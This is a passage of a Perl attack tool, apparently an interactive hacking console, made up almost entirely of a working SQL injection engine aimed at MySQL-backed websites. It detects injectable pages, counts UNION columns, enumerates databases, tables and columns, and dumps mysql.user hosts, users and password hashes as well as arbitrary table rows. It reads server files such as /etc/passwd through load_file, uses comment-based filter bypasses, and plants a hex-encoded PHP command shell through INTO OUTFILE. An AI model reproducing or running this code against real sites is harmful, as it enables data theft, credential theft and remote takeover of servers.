  792. rename <file1> <file2>
  793. open <file>
  794. exit
  795. \n\n";
  796.         }
  797.  
  798.         if ( $rta eq "exit" ) {
  799.             next;
  800.         }
  801.  
  802.         print "\n\n";
  803.         goto nave;
  804.     }
  805.     elsif ( $cmd =~ /cmd_kobra(.*)/ ) {
  806.         my $te = $1;
  807.         $te =~ s/ //;
  808.         if ( $te eq "" or $te eq " " ) {
  809.             print "\n[+] sintax : cmd_kobra <page>\n";
  810.         }
  811.         else {
  812.             my $url = $te;
  813.             chomp $url;
  814.             scansqli( $url, "--" );
  815.         }
  816.     }
  817.  
  818.     elsif ( $cmd =~ /cmd_mysql(.*)/ ) {
  819.  
  820.         my $te = $1;
  821.         $te =~ s/ //;
  822.         if ( $te eq "" or $te eq " " ) {
  823.             print "\n[+] sintax : cmd_mysql <host> <user> <pass>\n";
  824.         }
  825.         else {
  826.             if ( $cmd =~ /cmd_mysql (.*) (.*) (.*)/ ) {
  827.                 enter( $1, $2, $3 );
  828.             }
  829.         }
  830.  
  831.     }
  832.  
  833.     elsif ( $cmd eq "cmd_exit" ) {
  834.         copyright();
  835.         <stdin>;
  836.         exit(1);
  837.     }
  838.  
  839.     else {
  840.         system($cmd);
  841.     }
  842.     cprint "\x030";
  843. #####################################################################################
  844. }
  845.  
  846. sub scansqli {
  847.  
  848.     my $page = $_[0];
  849.     print "[Status] : Scanning.....\n";
  850.     ( $pass1, $bypass2 ) = &bypass( $_[1] );
  851.     my $save = partimealmedio( $_[0] );
  852.     if ( $_[0] =~ /hackman/ig ) {
  853.         savefile( $save . ".txt", "\n[Target Confirmed] : $_[0]\n" );
  854.         &menu_options( $_[0], $pass, $save );
  855.     }
  856.     else {
  857.  
  858.         my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  859.         my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  860.  
  861.         unless ( $testar1 eq $testar2 ) {
  862.             motor( $page, $_[1] );
  863.         }
  864.         else {
  865.             print "\n[-] Not vulnerable\n\n";
  866.             print "[+] Scan anyway y/n : ";
  867.             chomp( my $op = <stdin> );
  868.             if ( $op eq "y" ) {
  869.                 motor( $page, $_[1] );
  870.             }
  871.             else {
  872.  
  873.                 #head();
  874.                 #menu();
  875.             }
  876.         }
  877.     }
  878. }
  879.  
  880. sub motor {
  881.  
  882.     my ( $gen, $save, $control ) = &length( $_[0], $_[1] );
  883.  
  884.     if ( $control eq 1 ) {
  885.         print "[Status] : Enjoy the menu\n\n";
  886.         &menu_options( $gen, $pass, $save );
  887.     }
  888.     else {
  889.         print "[Status] : Length columns not found\n\n";
  890.     }
  891. }
  892.  
  893. sub length {
  894.     print "\n[+] Looking for the number of columns\n\n";
  895.     my $rows = "0";
  896.     my $asc;
  897.     my $page = $_[0];
  898.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  899.  
  900.     $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  901.     $total = "1";
  902.     for my $rows ( 2 .. 200 ) {
  903.         $asc .=
  904.           "," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  905.         $total .= "," . $rows;
  906.         $injection =
  907.             $page . "1"
  908.           . $pass1 . "and"
  909.           . $pass1 . "1=0"
  910.           . $pass1 . "union"
  911.           . $pass1
  912.           . "select"
  913.           . $pass1
  914.           . $alert
  915.           . $asc;
  916.         $test = toma($injection);
  917.         if ( $test =~ /RATSXPDOWN/ ) {
  918.             @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  919.             $control = 1;
  920.             my $save = partimealmedio( $_[0] );
  921.             savefile( $save . ".txt", "\n[Target confirmed] : $page" );
  922.             savefile( $save . ".txt", "[Bypass] : $_[1]\n" );
  923.             savefile( $save . ".txt", "[Limit] : The site has $rows columns" );
  924.             savefile( $save . ".txt",
  925.                 "[Data] : The number @number print data" );
  926.             $total =~ s/$number[0]/hackman/;
  927.             savefile(
  928.                 $save . ".txt",
  929.                 "[SQLI] : "
  930.                   . $page . "1"
  931.                   . $pass1 . "and"
  932.                   . $pass1 . "1=0"
  933.                   . $pass1 . "union"
  934.                   . $pass1
  935.                   . "select"
  936.                   . $pass1
  937.                   . $total
  938.             );
  939.             return (
  940.                 $page . "1"
  941.                   . $pass1 . "and"
  942.                   . $pass1 . "1=0"
  943.                   . $pass1 . "union"
  944.                   . $pass1
  945.                   . "select"
  946.                   . $pass1
  947.                   . $total,
  948.                 $save, $control
  949.             );
  950.         }
  951.     }
  952. }
  953.  
  954. sub details {
  955.     my ( $page, $bypass, $save ) = @_;
  956.     ( $pass1, $pass2 ) = &bypass($bypass);
  957.     savefile( $save . ".txt", "\n" );
  958.     if ( $page =~ /(.*)hackman(.*)/ig ) {
  959.         print "\n[+] Searching information..\n\n";
  960.         my ( $start, $end ) = ( $1, $2 );
  961.         $inforschema =
  962.             $start
  963.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  964.           . $end
  965.           . $pass1 . "from"
  966.           . $pass1
  967.           . "information_schema.tables"
  968.           . $pass2;
  969.         $mysqluser =
  970.             $start
  971.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  972.           . $end
  973.           . $pass1 . "from"
  974.           . $pass1
  975.           . "mysql.user"
  976.           . $pass2;
  977.         $test3 =
  978.           toma( $start
  979.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  980.               . $end
  981.               . $pass2 );
  982.         $test1 = toma($inforschema);
  983.         $test2 = toma($mysqluser);
  984.         if ( $test2 =~ /ERTOR854/ig ) {
  985.             savefile( $save . ".txt", "[mysql.user] : ON" );
  986.             print "[mysql.user] : ON\n";
  987.         }
  988.         else {
  989.             print "[mysql.user] : OFF\n";
  990.             savefile( $save . ".txt", "[mysql.user] : OFF" );
  991.         }
  992.         if ( $test1 =~ /ERTOR854/ig ) {
  993.             print "[information_schema.tables] : ON\n";
  994.             savefile( $save . ".txt", "[information_schema.tables] : ON" );
  995.         }
  996.         else {
  997.             print "[information_schema.tables] : OFF\n";
  998.             savefile( $save . ".txt", "[information_schema.tables] : OFF" );
  999.         }
  1000.         if ( $test3 =~ /ERTOR854/ig ) {
  1001.             print "[load_file] : ON\n";
  1002.             savefile(
  1003.                 $save . ".txt",
  1004.                 "[load_file] : "
  1005.                   . $start
  1006.                   . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  1007.                   . $end
  1008.                   . $pass2
  1009.             );
  1010.         }
  1011.         $concat =
  1012. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  1013.         $injection = $start . $concat . $end . $pass2;
  1014.         $code      = toma($injection);
  1015.         if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
  1016.             print
  1017.               "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  1018.             savefile(
  1019.                 $save . ".txt",
  1020.                 "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n"
  1021.             );
  1022.         }
  1023.         else {
  1024.             print "\n[-] Not found any data\n";
  1025.         }
  1026.     }
  1027. }
  1028.  
  1029. sub menu_options {
  1030.  
  1031.     my $save = partimealmedio( $_[0] );
  1032.     print "\n/logs/webs/$save>";
  1033.     chomp( my $rta = <stdin> );
  1034.  
  1035.     if ( $rta =~ /help/ ) {
  1036.         print qq(
  1037.  
  1038. Commands :
  1039.  
  1040. details
  1041. tables
  1042. columns <table>
  1043. dbs
  1044. othertable <db>
  1045. othercolumn <db> <table>          
  1046. mysqluser
  1047. dumper <table> <column1> <column2>
  1048. createshell
  1049. readfile
  1050. logs
  1051. exit
  1052.  
  1053. );
  1054.     }
  1055.  
  1056.     if ( $rta =~ /tables/ ) {
  1057.         schematables( $_[0], $_[1], $save );
  1058.         &reload;
  1059.     }
  1060.     elsif ( $rta =~ /columns (.*)/ ) {
  1061.         my $tabla = $1;
  1062.         schemacolumns( $_[0], $_[1], $save, $tabla );
  1063.         &reload;
  1064.     }
  1065.     elsif ( $rta =~ /dbs/ ) {
  1066.         &schemadb( $_[0], $_[1], $save );
  1067.         &reload;
  1068.     }
  1069.     elsif ( $rta =~ /othertable (.*)/ ) {
  1070.         my $data = $1;
  1071.         &schematablesdb( $_[0], $_[1], $data, $save );
  1072.         &reload;
  1073.     }
  1074.     elsif ( $rta =~ /othercolumn (.*) (.*)/ ) {
  1075.         my ( $db, $table ) = ( $1, $2 );
  1076.         &schemacolumnsdb( $_[0], $_[1], $db, $table, $save );
  1077.         &reload;
  1078.     }
  1079.     elsif ( $rta =~ /mysqluser/ ) {
  1080.         &mysqluser( $_[0], $_[1], $save );
  1081.         &reload;
  1082.     }
  1083.     elsif ( $rta =~ /logs/ ) {
  1084.         $t = "logs/webs/$save.txt";
  1085.         system("start $t");
  1086.         &reload;
  1087.     }
  1088.     elsif ( $rta =~ /exit/ ) {
  1089.         next;
  1090.     }
  1091.  
  1092.     elsif ( $rta =~ /createshell/ ) {
  1093.         print "\n\n[Full Path Discloure] : ";
  1094.         chomp( my $path = <STDIN> );
  1095.         &into( $_[0], $_[1], $path, $save );
  1096.     }
  1097.     elsif ( $rta =~ /readfile/ ) {
  1098.         loadfile( $_[0], $_[1], $save );
  1099.     }
  1100.     elsif ( $rta =~ /dumper (.*) (.*) (.*)/ ) {
  1101.         my ( $tabla, $col1, $col2 ) = ( $1, $2, $3 );
  1102.         &dump( $_[0], $col1, $col2, $tabla, $_[1], $save );
  1103.         &reload;
  1104.     }
  1105.     elsif ( $rta =~ /details/ ) {
  1106.         &details( $_[0], $_[1], $save );
  1107.         &reload;
  1108.     }
  1109.     else {
  1110.         &reload;
  1111.     }
  1112. }
  1113.  
  1114. sub schematables {
  1115.     $real = "1";
  1116.     my ( $page, $bypass, $save ) = @_;
  1117.     savefile( $save . ".txt", "\n" );
  1118.     print "\n";
  1119.     my $page1 = $page;
  1120.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1121.     savefile( $save . ".txt", "[DB] : default" );
  1122.     print "\n[+] Searching tables with schema\n\n";
  1123.     $page =~
  1124. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1125.     $page1 =~
  1126. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1127.     $code =
  1128.       toma( $page1
  1129.           . $pass1 . "from"
  1130.           . $pass1
  1131.           . "information_schema.tables"
  1132.           . $pass2 );
  1133.  
  1134.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1135.         my $resto = $1;
  1136.         $total = $resto - 17;
  1137.         print "[+] Tables Length :  $total\n\n";
  1138.         savefile( $save . ".txt", "[+] Searching tables with schema\n" );
  1139.         savefile( $save . ".txt", "[+] Tables Length :  $total\n" );
  1140.         my $limit = $1;
  1141.         for my $limit ( 17 .. $limit ) {
  1142.             $code1 =
  1143.               toma( $page
  1144.                   . $pass1 . "from"
  1145.                   . $pass1
  1146.                   . "information_schema.tables"
  1147.                   . $pass1 . "limit"
  1148.                   . $pass1
  1149.                   . $limit . ",1"
  1150.                   . $pass2 );
  1151.             if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1152.                 my $table = $1;
  1153.                 chomp $table;
  1154.                 print "[Table $real Found : $table ]\n";
  1155.                 savefile( $save . ".txt", "[Table $real Found : $table ]" );
  1156.                 $real++;
  1157.             }
  1158.         }
  1159.         print "\n";
  1160.     }
  1161.     else {
  1162.         print "\n[-] information_schema = ERROR\n";
  1163.     }
  1164. }
  1165.  
  1166. sub reload {
  1167.     &menu_options( $_[0] );
  1168. }
  1169.  
  1170. sub schemacolumns {
  1171.     my ( $page, $bypass, $save, $table ) = @_;
  1172.     my $page3 = $page;
  1173.     my $page4 = $page;
  1174.     savefile( $save . ".txt", "\n" );
  1175.     print "\n";
  1176.     ( $pass1, $pass2 ) = &bypass($bypass);
  1177.     print "\n[DB] : default\n";
  1178.     savefile( $save . ".txt", "[DB] : default" );
  1179.     savefile( $save . ".txt", "[Table] : $table\n" );
  1180.     $page3 =~
  1181. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1182.     $code3 =
  1183.       toma( $page3
  1184.           . $pass1 . "from"
  1185.           . $pass1
  1186.           . "information_schema.columns"
  1187.           . $pass1 . "where"
  1188.           . $pass1
  1189.           . "table_name=char("
  1190.           . ascii($table) . ")"
  1191.           . $pass2 );
  1192.  
  1193.     if ( $code3 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1194.         print "\n[Columns Length : $1 ]\n\n";
  1195.         savefile( $save . ".txt", "[Columns Length : $1 ]\n" );
  1196.         my $si = $1;
  1197.         chomp $si;
  1198.         $page4 =~
  1199. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1200.         $real = "1";
  1201.         for my $limit2 ( 0 .. $si ) {
  1202.             $code4 =
  1203.               toma( $page4
  1204.                   . $pass1 . "from"
  1205.                   . $pass1
  1206.                   . "information_schema.columns"
  1207.                   . $pass1 . "where"
  1208.                   . $pass1
  1209.                   . "table_name=char("
  1210.                   . ascii($table) . ")"
  1211.                   . $pass1 . "limit"
  1212.                   . $pass1
  1213.                   . $limit2 . ",1"
  1214.                   . $pass2 );
  1215.             if ( $code4 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1216.                 print "[Column $real] : $1\n";
  1217.                 savefile( $save . ".txt", "[Column $real] : $1" );
  1218.                 $real++;
  1219.             }
  1220.         }
  1221.         print "\n";
  1222.     }
  1223.     else {
  1224.         print "\n[-] information_schema = ERROR\n";
  1225.     }
  1226. }
  1227.  
  1228. sub schemadb {
  1229.     my ( $page, $bypass, $save ) = @_;
  1230.     my $page1 = $page;
  1231.     savefile( $save . ".txt", "\n" );
  1232.     print "\n\n[+] Searching DBS\n\n";
  1233.     ( $pass1, $pass2 ) = &bypass($bypass);
  1234.     $page =~
  1235. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1236.     $code =
  1237.       toma( $page . $pass1 . "from" . $pass1 . "information_schema.schemata" );
  1238.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1239.         my $limita = $1;
  1240.         print "[+] Databases Length : $limita\n\n";
  1241.         savefile( $save . ".txt", "[+] Databases Length : $limita\n" );
  1242.         $page1 =~
  1243. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1244.         $real = "1";
  1245.         for my $limit ( 0 .. $limita ) {
  1246.             $code =
  1247.               toma( $page1
  1248.                   . $pass1 . "from"
  1249.                   . $pass1
  1250.                   . "information_schema.schemata"
  1251.                   . $pass1 . "limit"
  1252.                   . $pass1
  1253.                   . $limit . ",1"
  1254.                   . $pass2 );
  1255.             if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1256.                 my $control = $1;
  1257.                 if (    $control ne "information_schema"
  1258.                     and $control ne "mysql"
  1259.                     and $control ne "phpmyadmin" )
  1260.                 {
  1261.                     print "[Database $real Found] $control\n";
  1262.                     savefile( $save . ".txt",
  1263.                         "[Database $real Found] : $control" );
  1264.                     $real++;
  1265.                 }
  1266.             }
  1267.         }
  1268.         print "\n";
  1269.     }
  1270.     else {
  1271.         print "[-] information_schema = ERROR\n";
  1272.     }
  1273. }
  1274.  
  1275. sub schematablesdb {
  1276.     my $page  = $_[0];
  1277.     my $db    = $_[2];
  1278.     my $page1 = $page;
  1279.     savefile( $_[3] . ".txt", "\n" );
  1280.     print "\n\n[+] Searching tables with DB $db\n\n";
  1281.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1282.     savefile( $_[3] . ".txt", "[DB] : $db" );
  1283.     $page =~
  1284. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1285.     $page1 =~
  1286. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1287.     $code =
  1288.       toma( $page1
  1289.           . $pass1 . "from"
  1290.           . $pass1
  1291.           . "information_schema.tables"
  1292.           . $pass1 . "where"
  1293.           . $pass1
  1294.           . "table_schema=char("
  1295.           . ascii($db) . ")"
  1296.           . $pass2 );
  1297.  
  1298. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  1299.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1300.         print "[+] Tables Length :  $1\n\n";
  1301.         savefile( $_[3] . ".txt", "[+] Tables Length :  $1\n" );
  1302.         my $limit = $1;
  1303.         $real = "1";
  1304.         for my $lim ( 0 .. $limit ) {
  1305.             $code1 =
  1306.               toma( $page
  1307.                   . $pass1 . "from"
  1308.                   . $pass1
  1309.                   . "information_schema.tables"
  1310.                   . $pass1 . "where"
  1311.                   . $pass1
  1312.                   . "table_schema=char("
  1313.                   . ascii($db) . ")"
  1314.                   . $pass1 . "limit"
  1315.                   . $pass1
  1316.                   . $lim . ",1"
  1317.                   . $pass2 );
  1318.  
  1319. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  1320.             if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1321.                 my $table = $1;
  1322.                 chomp $table;
  1323.                 savefile( $_[3] . ".txt", "[Table $real Found : $table ]" );
  1324.                 print "[Table $real Found : $table ]\n";
  1325.                 $real++;
  1326.             }
  1327.         }
  1328.         print "\n";
  1329.     }
  1330.     else {
  1331.         print "\n[-] information_schema = ERROR\n";
  1332.     }
  1333. }
  1334.  
  1335. sub schemacolumnsdb {
  1336.     my ( $page, $bypass, $db, $table, $save ) = @_;
  1337.     my $page3 = $page;
  1338.     my $page4 = $page;
  1339.     print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  1340.     savefile( $save . ".txt", "\n" );
  1341.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1342.     savefile( $save . ".txt", "\n[DB] : $db" );
  1343.     savefile( $save . ".txt", "[Table] : $table" );
  1344.     $page3 =~
  1345. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1346.     $code3 =
  1347.       toma( $page3
  1348.           . $pass1 . "from"
  1349.           . $pass1
  1350.           . "information_schema.columns"
  1351.           . $pass1 . "where"
  1352.           . $pass1
  1353.           . "table_name=char("
  1354.           . ascii($table) . ")"
  1355.           . $pass1 . "and"
  1356.           . $pass1
  1357.           . "table_schema=char("
  1358.           . ascii($db) . ")"
  1359.           . $pass2 );
  1360.  
  1361.     if ( $code3 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1362.         print "\n[Columns length : $1 ]\n\n";
  1363.         savefile( $save . ".txt", "[Columns length : $1 ]\n" );
  1364.         my $si = $1;
  1365.         chomp $si;
  1366.         $page4 =~
  1367. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1368.         $real = "1";
  1369.         for my $limit2 ( 0 .. $si ) {
  1370.             $code4 =
  1371.               toma( $page4
  1372.                   . $pass1 . "from"
  1373.                   . $pass1
  1374.                   . "information_schema.columns"
  1375.                   . $pass1 . "where"
  1376.                   . $pass1
  1377.                   . "table_name=char("
  1378.                   . ascii($table) . ")"
  1379.                   . $pass1 . "and"
  1380.                   . $pass1
  1381.                   . "table_schema=char("
  1382.                   . ascii($db) . ")"
  1383.                   . $pass1 . "limit"
  1384.                   . $pass1
  1385.                   . $limit2 . ",1"
  1386.                   . $pass2 );
  1387.             if ( $code4 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1388.                 print "[Column $real] : $1\n";
  1389.                 savefile( $save . ".txt", "[Column $real] : $1" );
  1390.                 $real++;
  1391.             }
  1392.         }
  1393.     }
  1394.     else {
  1395.         print "\n[-] information_schema = ERROR\n";
  1396.     }
  1397.     print "\n";
  1398. }
  1399.  
  1400. sub mysqluser {
  1401.     my ( $page, $bypass, $save ) = @_;
  1402.     my $cop  = $page;
  1403.     my $cop1 = $page;
  1404.     savefile( $save . ".txt", "\n" );
  1405.     print "\n\n[+] Finding mysql.users\n";
  1406.     ( $pass1, $pass2 ) = &bypass($bypass);
  1407.     $page =~ s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  1408.     $code = toma( $page . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  1409.  
  1410.     if ( $code =~ /RATSXPDOWN/ig ) {
  1411.         $cop1 =~
  1412. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1413.         $code1 =
  1414.           toma( $cop1 . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  1415.         if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1416.             print "\n[+] Users Found : $1\n\n";
  1417.             savefile( $save . ".txt", "\n[+] Users mysql Found : $1\n" );
  1418.             for my $limit ( 0 .. $1 ) {
  1419.                 $cop =~
  1420. s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  1421.                 $code =
  1422.                   toma( $cop
  1423.                       . $pass1 . "from"
  1424.                       . $pass1
  1425.                       . "mysql.user"
  1426.                       . $pass1 . "limit"
  1427.                       . $pass1
  1428.                       . $limit . ",1"
  1429.                       . $pass2 );
  1430.                 if ( $code =~
  1431.                     /RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig )
  1432.                 {
  1433.                     print "[Host] : $1 [User] : $2 [Password] : $3\n";
  1434.                     savefile( $save . ".txt",
  1435.                         "[Host] : $1 [User] : $2 [Password] : $3" );
  1436.                 }
  1437.                 else {
  1438.                     print "\n";
  1439.                     &reload;
  1440.                 }
  1441.             }
  1442.         }
  1443.     }
  1444.     else {
  1445.         print "\n[-] mysql.user = ERROR\n\n";
  1446.     }
  1447. }
  1448.  
  1449. sub dump {
  1450.     savefile( $_[5] . ".txt", "\n" );
  1451.     my $page = $_[0];
  1452.     ( $pass1, $pass2 ) = &bypass( $_[4] );
  1453.     if ( $page =~ /(.*)hackman(.*)/ ) {
  1454.         my $start = $1;
  1455.         my $end   = $2;
  1456.         print "\n\n[+] Extracting values...\n\n";
  1457.         $concatx =
  1458. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  1459.         $val_code =
  1460.           toma( $start
  1461.               . $concatx
  1462.               . $end
  1463.               . $pass1 . "from"
  1464.               . $pass1
  1465.               . $_[3]
  1466.               . $pass2 );
  1467.         $concat =
  1468. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  1469.         if ( $val_code =~ /ERTOR854(.*)ERTOR854/ig ) {
  1470.             $tota = $1;
  1471.             print "[+] Table : $_[3]\n";
  1472.             print "[+] Length of the rows : $tota\n\n";
  1473.             print "[$_[1]] [$_[2]]\n\n";
  1474.             savefile( $_[5] . ".txt", "[Table] : $_[3]" );
  1475.             savefile( $_[5] . ".txt", "[+] Length of the rows: $tota\n" );
  1476.             savefile( $_[5] . ".txt", "[$_[1]] [$_[2]]\n" );
  1477.             for my $limit ( 0 .. $tota ) {
  1478.                 chomp $limit;
  1479.                 $injection =
  1480.                   toma( $start
  1481.                       . $concat
  1482.                       . $end
  1483.                       . $pass1 . "from"
  1484.                       . $pass1
  1485.                       . $_[3]
  1486.                       . $pass1 . "limit"
  1487.                       . $pass1
  1488.                       . $limit . ",1"
  1489.                       . $pass2 );
  1490.                 if ( $injection =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854/ig ) {
  1491.                     savefile( $_[5] . ".txt", "[$_[1]] : $1   [$_[2]] : $2" );
  1492.                     print "[$_[1]] : $1   [$_[2]] : $2\n";
  1493.                 }
  1494.                 else {
  1495.                     print "\n\n[+] Extracting Finish\n\n";
  1496.                     last;
  1497.                     &reload;
  1498.                 }
  1499.             }
  1500.         }
  1501.         else {
  1502.             print "[-] Not Found any DATA\n\n";
  1503.         }
  1504.     }
  1505. }
  1506.  
  1507. sub loadfile {
  1508.     savefile( $_[2] . ".txt", "\n" );
  1509.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1510.     if ( $_[0] =~ /(.*)hackman(.*)/g ) {
  1511.         my $start = $1;
  1512.         my $end   = $2;
  1513.         print "\n\n[+] File to read : ";
  1514.         chomp( my $file = <stdin> );
  1515.         $concat =
  1516.             "unhex(hex(concat(char(107,48,98,114,97),load_file("
  1517.           . encode($file)
  1518.           . "),char(107,48,98,114,97))))";
  1519.         my $code = toma( $start . $concat . $end . $pass2 );
  1520.         chomp $code;
  1521.         if ( $code =~ /k0bra(.*)k0bra/s ) {
  1522.             print "[File Found] : $file\n";
  1523.             print "\n[Source Start]\n\n";
  1524.             print $1;
  1525.             print "\n\n[Source End]\n\n";
  1526.             savefile( $_[2] . ".txt", "[File Found] : $file" );
  1527.             savefile( $_[2] . ".txt", "\n[Source Start]\n" );
  1528.             savefile( $_[2] . ".txt", "$1" );
  1529.             savefile( $_[2] . ".txt", "\n[Source End]\n" );
  1530.         }
  1531.     }
  1532.     &reload;
  1533. }
  1534.  
  1535. sub into {
  1536.     print "\n\n[Status] : Injecting a SQLI for create a shell\n\n";
  1537.     my ( $page, $bypass, $dir, $save ) = @_;
  1538.     savefile( $save . ".txt", "\n" );
  1539.     print "\n";
  1540.     ( $pass1, $pass2 ) = &bypass($bypass);
  1541.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  1542.     if ( $path =~ /\/(.*)$/ ) {
  1543.         my $path1 = $1;
  1544.         my $path2 = $path1;
  1545.         $path2 =~ s/$1//;
  1546.         $dir   =~ s/$path1//ig;
  1547.         $shell = $dir . "/" . "shell.php";
  1548.         if ( $page =~ /(.*)hackman(.*)/ig ) {
  1549.             my ( $start, $end ) = ( $1, $2 );
  1550.             $code =
  1551.               toma( $start
  1552.                   . "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
  1553.                   . $end
  1554.                   . $pass1 . "into"
  1555.                   . $pass1
  1556.                   . "outfile"
  1557.                   . $pass1 . "'"
  1558.                   . $shell . "'"
  1559.                   . $pass2 );
  1560.             $code1 =
  1561.               toma( "http://" . $auth . "/" . $path2 . "/" . "shell.php" );
  1562.             if ( $code1 =~ /Mini Shell By Doddy/ig ) {
  1563.                 print "[shell up] : http://" . $auth . "/" . $path2 . "/"
  1564.                   . "shell.php\a";
  1565.                 savefile(
  1566.                     $save . ".txt",
  1567.                     "[shell up] : http://"
  1568.                       . $auth . "/"
  1569.                       . $path2 . "/"
  1570.                       . "shell.php"
  1571.                 );
  1572.             }
  1573.             else {
  1574.                 print "[shell] : Not Found\n";
  1575.             }
  1576.         }
  1577.     }
  1578.     print "\n\n";
  1579.     &reload;
  1580. }
  1581.  
  1582. sub bypass {
  1583.     if    ( $_[0] eq "/*" )  { return ( "/**/", "/*" ); }
  1584.     elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  1585.     else                     { return ( "+",    "--" ); }
  1586. }
  1587.  
  1588. sub ascii {
  1589.     return join ',', unpack "U*", $_[0];
  1590. }
  1591.  
  1592. sub base {
  1593.     $re = encode_base64( $_[0] );
  1594.     chomp $re;
  1595.     return $re;
  1596. }
  1597.  
  1598. sub base_de {
  1599.     $re = decode_base64( $_[0] );
  1600.     chomp $re;
  1601.     return $re;
  1602. }
  1603.  
  1604. sub download {
  1605.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  1606.         if ( -f $_[1] ) {
  1607.             return true;
  1608.         }
  1609.     }
  1610. }
  1611.  
  1612. sub hex_en {
  1613.     my $string = $_[0];
  1614.     $hex = '0x';
  1615.     for ( split //, $string ) {
  1616.         $hex .= sprintf "%x", ord;
  1617.     }
  1618.     return $hex;
  1619. }
  1620.  
  1621. sub hex_de {
  1622.     my $text = shift;
  1623.     $text =~ s/^0x//;
  1624.     $encode = join q[], map { chr hex } $text =~ /../g;
  1625.     return $encode;
  1626. }
  1627.  
  1628. sub ascii_de {
  1629.     my $text = shift;
  1630.     $text = join q[], map { chr } split q[,], $text;
  1631.     return $text;
  1632. }
  1633.  
  1634. sub getprocess {
  1635.  
  1636.     my %procesos;
  1637.  
  1638.     my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  1639.     my $dos = $uno->ConnectServer( "", "root\\cimv2" );
  1640.  
  1641.     foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
